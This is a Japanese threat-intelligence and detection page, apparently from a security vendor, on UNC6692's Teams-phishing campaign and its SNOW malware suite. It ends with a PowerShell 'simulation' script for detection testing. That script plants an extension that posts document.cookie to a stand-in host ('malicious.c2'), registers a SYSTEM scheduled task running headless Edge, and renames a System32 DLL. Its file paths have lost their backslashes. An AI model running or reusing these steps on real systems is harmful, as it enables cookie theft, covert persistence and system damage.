UNC6692がソーシャルエンジニアリングによりカスタムマルウェアを展開
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
UNC6692は、Microsoft Teams経由で送信されたフィッシングリンクから始まり、悪意のあるAutoHotKeyペイロードを配信し、SNOW、SNOWBELT、SNOWGLAZE、SNOWBASINなどのカスタムモジュラー型マルウェアツールキットを展開する多段階の侵入を実行しました。この作戦では、不正なChromiumブラウザー拡張機能、Pythonベースのトンネリングユーティリティ、およびローカルHTTPバックドアが使用され、横移動、認証情報の窃取、クラウドサービスを介したデータの流出を可能にしました。このキャンペーンは、正当なクラウドインフラとブラウザーベースの持続性メカニズムを効果的に悪用したことで際立っていました。この活動を検出するには、異常なブラウザー拡張機能の振る舞い、無頭モードでEdgeを開始するスケジュールタスク、およびクラウドストレージサービスへの疑わしいアクセスの綿密な監視が必要です。
調査
Google Threat Intelligence Groupは、Teamsのチャット記録、取得されたAutoHotKeyスクリプト、スケジュールされたタスク設定、およびAWS S3とHerokuにホストされたWebSocketサーバーを含むネットワークトラフィックの分析を通じてキャンペーンを発見しました。マルウェア分析により、SNOWマルウェアファミリー、その内部コンポーネント、通信パターン、およびPsExecと認証情報ダンピングツールの使用状況が明らかになりました。調査員はまた、LSASSメモリとActive Directoryデータベースファイルの窃取が行われ、これらはLimeWireを介して流出されたことを確認しました。
緩和策
防御者は、ブラウザー拡張機能の厳格な許可リストポリシーを適用し、無頭モードまたは拡張機能関連のフラグで起動されたMicrosoft Edgeを監視し、承認されていないAWS S3バケットとHerokuドメインへのアクセスをブロックするべきです。特権アカウントに対する多要素認証の強制と、PsExecの実行とLSASSへのアクセスの監視は、認証情報の窃取と横移動を制限するのに役立ちます。スケジュールされたタスクとスタートアップショートカットも定期的に見直し、不正な持続性を特定するべきです。
対応
SNOWのコンポーネントが検出された場合、影響を受けたシステムを直ちに隔離し、疑わしいEdgeおよびAutoHotKeyプロセスを終了し、LSASS関連のフォレンジック分析のためにメモリを収集します。既知のコマンドアンドコントロールドメインとIPアドレスをブロックし、悪意のあるブラウザー拡張機能を削除し、特権アカウントの認証情報をローテーションします。その後、ネットワーク全体でスイープを行い、他の侵害されたホストを特定し、スケジュールされたタスクとスタートアップアイテムのレビューを行い持続性を確認します。
"graph TB %% Class definitions classDef technique fill:#99ccff classDef tool fill:#cccccc classDef malware fill:#ffcc99 classDef operator fill:#ff9900 %% Technique nodes tech_phishing["<b>Technique</b> – <b>T1566.002 Phishing: Spearphishing Link via Microsoft Teams</b><br/><b>Description</b>: Adversary delivers a malicious link through Microsoft Teams to target users."] class tech_phishing technique tech_user_exec["<b>Technique</b> – <b>T1204.001 User Execution: Click malicious link</b><br/><b>Description</b>: Victim clicks the malicious link, triggering execution."] class tech_user_exec technique tech_ahk["<b>Technique</b> – <b>T1059.010 Command and Scripting Interpreter: AutoHotkey/AutoIT</b><br/><b>Description</b>: Executes AutoHotkey binary and script to run further code."] class tech_ahk technique tech_python["<b>Technique</b> – <b>T1059.006 Command and Scripting Interpreter: Python</b><br/><b>Description</b>: Runs Python loaders for additional modules."] class tech_python technique tech_ext["<b>Technique</b> – <b>T1176 Software Extensions: Install Chromium Extension</b><br/><b>Description</b>: Installs a malicious browser extension to maintain persistence."] class tech_ext technique tech_schedtask["<b>Technique</b> – <b>T1053.005 Scheduled Task: Launch Headless Edge</b><br/><b>Description</b>: Creates scheduled tasks to start Edge with the malicious extension."] class tech_schedtask technique tech_shortcut["<b>Technique</b> – <b>T1547.009 Shortcut Modification</b><br/><b>Description</b>: Places a shortcut in the Startup folder for automatic execution."] class tech_shortcut technique tech_ingress["<b>Technique</b> – <b>T1105 Ingress Tool Transfer</b><br/><b>Description</b>: Downloads additional payloads such as SNOWGLAZE and SNOWBASIN."] class tech_ingress technique tech_obfuscate["<b>Technique</b> – <b>T1027 Obfuscated Files or Information</b><br/><b>Description</b>: Encodes payloads with Base64 and encrypts with AESu2011GCM."] class tech_obfuscate technique tech_archive["<b>Technique</b> – <b>T1560 Archive Collected Data</b><br/><b>Description</b>: Encrypts and stages data before exfiltration."] class tech_archive technique tech_encchannel["<b>Technique</b> – <b>T1573.001 Encrypted Channel: Symmetric Cryptography</b><br/><b>Description</b>: Uses AESu2011GCM for encrypted communications."] class tech_encchannel technique tech_tunnel["<b>Technique</b> – <b>T1572 Protocol Tunneling</b><br/><b>Description</b>: Establishes a WebSocket tunnel to a Heroku commandu2011andu2011control server."] class tech_tunnel technique tech_appproto["<b>Technique</b> – <b>T1071.001 Application Layer Protocol: WebSocket</b><br/><b>Description</b>: Communicates with C2 over WebSocket applicationu2011layer protocol."] class tech_appproto technique tech_proxy["<b>Technique</b> – <b>T1090 Proxy</b><br/><b>Description</b>: Utilizes the tunnel as a proxy to route traffic."] class tech_proxy technique tech_psexec["<b>Technique</b> – <b>T1021.002 SMB/Windows Admin Shares: PsExec</b><br/><b>Description</b>: Executes remote processes via SMB admin shares for lateral movement."] class tech_psexec technique tech_cred_dump["<b>Technique</b> – <b>T1003 OS Credential Dumping</b><br/><b>Description</b>: Extracts credentials from LSASS memory."] class tech_cred_dump technique tech_pass_hash["<b>Technique</b> – <b>T1550.002 Pass the Hash</b><br/><b>Description</b>: Uses captured NTLM hashes to authenticate to other systems."] class tech_pass_hash technique tech_rdp["<b>Technique</b> – <b>T1021.001 Remote Desktop Protocol</b><br/><b>Description</b>: Connects via RDP to backup server and domain controller."] class tech_rdp technique tech_exfil["<b>Technique</b> – <b>T1567.002 Exfiltration to Cloud Storage</b><br/><b>Description</b>: Uploads harvested AD database files to Amazon S3."] class tech_exfil technique %% Tool nodes tool_ahk_binary["<b>Tool</b> – <b>Name</b>: AutoHotkey binary<br/><b>Description</b>: Executes compiled AHK scripts."] class tool_ahk_binary tool tool_python_runtime["<b>Tool</b> – <b>Name</b>: Python interpreter<br/><b>Description</b>: Runs Python-based loaders."] class tool_python_runtime tool tool_edge_headless["<b>Tool</b> – <b>Name</b>: Microsoft Edge (headless)<br/><b>Description</b>: Browser used to execute malicious extension."] class tool_edge_headless tool tool_snowglaze["<b>Tool</b> – <b>Name</b>: SNOWGLAZE loader<br/><b>Description</b>: Downloads and launches additional modules."] class tool_snowglaze tool tool_snowbasin["<b>Tool</b> – <b>Name</b>: SNOWBASIN loader<br/><b>Description</b>: Secondary loader used after SNOWGLAZE."] class tool_snowbasin tool tool_snowbelt_ext["<b>Tool</b> – <b>Name</b>: SNOWBELT Chromium extension<br/><b>Description</b>: Provides persistence and data collection in the browser."] class tool_snowbelt_ext tool tool_psexec["<b>Tool</b> – <b>Name</b>: PsExec<br/><b>Description</b>: Executes processes on remote Windows hosts via admin shares."] class tool_psexec tool %% Malware nodes malware_snowglaze["<b>Malware</b> – <b>Name</b>: SNOWGLAZE<br/><b>Description</b>: Loader that creates WebSocket tunnel and encrypts traffic."] class malware_snowglaze malware malware_snowbasin["<b>Malware</b> – <b>Name</b>: SNOWBASIN<br/><b>Description</b>: Secondary payload that assists in data staging."] class malware_snowbasin malware malware_snowbelt["<b>Malware</b> – <b>Name</b>: SNOWBELT extension<br/><b>Description</b>: Chromium extension used for persistence and exfiltration."] class malware_snowbelt malware %% Attack flow connections tech_phishing –>|leads_to| tech_user_exec tech_user_exec –>|triggers| tech_ahk tech_ahk –>|uses| tool_ahk_binary tech_ahk –>|executes| tech_python tech_python –>|uses| tool_python_runtime tech_python –>|downloads| tool_snowglaze tech_python –>|downloads| tool_snowbasin tool_snowglaze –>|installs| malware_snowglaze tool_snowbasin –>|installs| malware_snowbasin malware_snowglaze –>|creates| tech_ext tech_ext –>|installs| tool_snowbelt_ext tool_snowbelt_ext –>|installs| malware_snowbelt tech_ext –>|enables| tech_schedtask tech_schedtask –>|launches| tool_edge_headless tech_ext –>|enables| tech_shortcut tech_shortcut –>|adds| op_shortcut_startup(("Startup shortcut")) class op_shortcut_startup operator tech_user_exec –>|downloads| tech_ingress tech_ingress –>|delivers| tech_obfuscate tech_obfuscate –>|prepares| tech_archive tech_archive –>|protects| tech_encchannel tech_encchannel –>|protects| tech_tunnel tech_tunnel –>|uses| tech_appproto tech_tunnel –>|acts_as| tech_proxy tech_proxy –>|routes| tech_psexec tech_psexec –>|uses| tool_psexec tool_psexec –>|executes| tech_cred_dump tech_cred_dump –>|provides| tech_pass_hash tech_pass_hash –>|enables| tech_rdp tech_rdp –>|connects_to| tech_exfil "
攻撃フロー
検出
疑わしいTaskkill実行(コマンドライン経由)
表示
可能性のあるAutoHotkeyスクリプト実行の試み(コマンドライン経由)
表示
自動開始場所での疑わしいバイナリ/スクリプト(file_event経由)
表示
疑わしいHerokuappドメインの通信(プロキシ経由)
表示
疑わしいHerokuappドメインの通信(DNS経由)
表示
IOCs(HashSha256)を検出するために:Snow Flurries: UNC6692が社会工学を利用してカスタムマルウェアスイートを展開した方法
表示
UNC6692 AutoHotKeyおよびPythonスクリプト実行検出 [Windowsプロセスの作成]
表示
UNC6692スケジュールタスクとMicrosoft Edgeプロセスの異常 [Microsoft Windowsセキュリティイベントログ]
表示
シミュレーション実行
前提条件:Telemetry & Baselineプレフライトチェックが通過している必要があります。
理由:このセクションでは、検出ルールをトリガーするために設計された敵の技術(TTP)の正確な実行を詳述します。コマンドとナラティブは、特定されたTTPを直接反映し、検出ロジックが期待する正確なテレメトリを生成することを目的とする必要があります。抽象的または関連のない例は、誤診につながる可能性があります。
-
攻撃の説明&コマンド:
- 目標: Snowbeltブラウザベースのペイロードの持続的でステルスな実行を被害ホスト上に確立する。
- 方法: Microsoft Edgeを無頭モードでSnowbeltの悪意のある拡張機能と共に起動するスケジュールタスクを登録する (
C:TempSnowbelt)。拡張機能は、C2に連絡しデータを流出させる悪意のあるJavaScriptを読み込みます。 - クリーンアップインジケーター: ペイロードが実行された後、攻撃者は
CoreUIComponents.dllをシステムDLLキャッシュから削除して「健全な」Edgeプロセスの検出を回避します。Edgeプロセスは実行を続けますが、モジュールは欠如しており、ルールの第二節を満たします。
-
リグレッションテストスクリプト:
# UNC6692シミュレーション - 悪意のあるスケジュールタスクを作成し、CoreUIComponents.dllなしでEdgeを実行 # ------------------------------------------------------------------------- # 1⃣ 変数を定義 $edgePath = "$Env:ProgramFiles(x86)MicrosoftEdgeApplicationmsedge.exe" $extPath = "C:TempSnowbelt" $taskName = "SnowbeltEdgeTask" $arguments = "--headless --load-extension=`"$extPath`"" $taskUser = "SYSTEM" # 2⃣ 拡張機能フォルダが存在することを確認(模擬ペイロード) New-Item -ItemType Directory -Force -Path $extPath | Out-Null Set-Content -Path "$extPathmanifest.json" -Value '{"name":"Snowbelt","version":"1.0","manifest_version":2,"background":{"scripts":["snow.js"]}}' -Encoding UTF8 Set-Content -Path "$extPathsnow.js" -Value 'fetch("http://malicious.c2/collect", {method:"POST", body:document.cookie});' -Encoding UTF8 # 3⃣ 悪意のあるスケジュールされたタスクを登録 $action = New-ScheduledTaskAction -Execute $edgePath -Argument $arguments $trigger = New-ScheduledTaskTrigger -AtLogOn Register-ScheduledTask -TaskName $taskName -Action $action -Trigger $trigger -User $taskUser -Force # 4⃣ タスクを即時開始してテレメトリを生成 Start-ScheduledTask -TaskName $taskName # 5⃣ 実行中のEdgeプロセスからCoreUIComponents.dllを削除(模擬) # 注:実際の環境では、DLLハイジャックやプロセスメモリのパッチを行う必要があります。 # ここでは、ファイルを削除してtasklistチェックが失敗するようにします。 $dllPath = "$Env:SystemRootSystem32CoreUIComponents.dll" if (Test-Path $dllPath) { Rename-Item -Path $dllPath -NewName "CoreUIComponents.dll.bak" -Force } # 6⃣ Edgeが実行中でDLLが存在しないことを確認 $proc = Get-Process -Name "msedge" -ErrorAction SilentlyContinue if ($proc) { Write-Host "EdgeプロセスPID $($proc.Id)が悪意のある拡張機能で起動されました。" } -
クリーンアップコマンド:
# スケジュールタスクを削除 Unregister-ScheduledTask -TaskName "SnowbeltEdgeTask" -Confirm:$false # CoreUIComponents.dllがリネームされていた場合、元に戻す $dllPath = "$Env:SystemRootSystem32CoreUIComponents.dll" $backup = "$Env:SystemRootSystem32CoreUIComponents.dll.bak" if (Test-Path $backup) { Rename-Item -Path $backup -NewName "CoreUIComponents.dll" -Force } # 模擬拡張機能ファイルを削除 Remove-Item -Path "C:TempSnowbelt" -Recurse -Force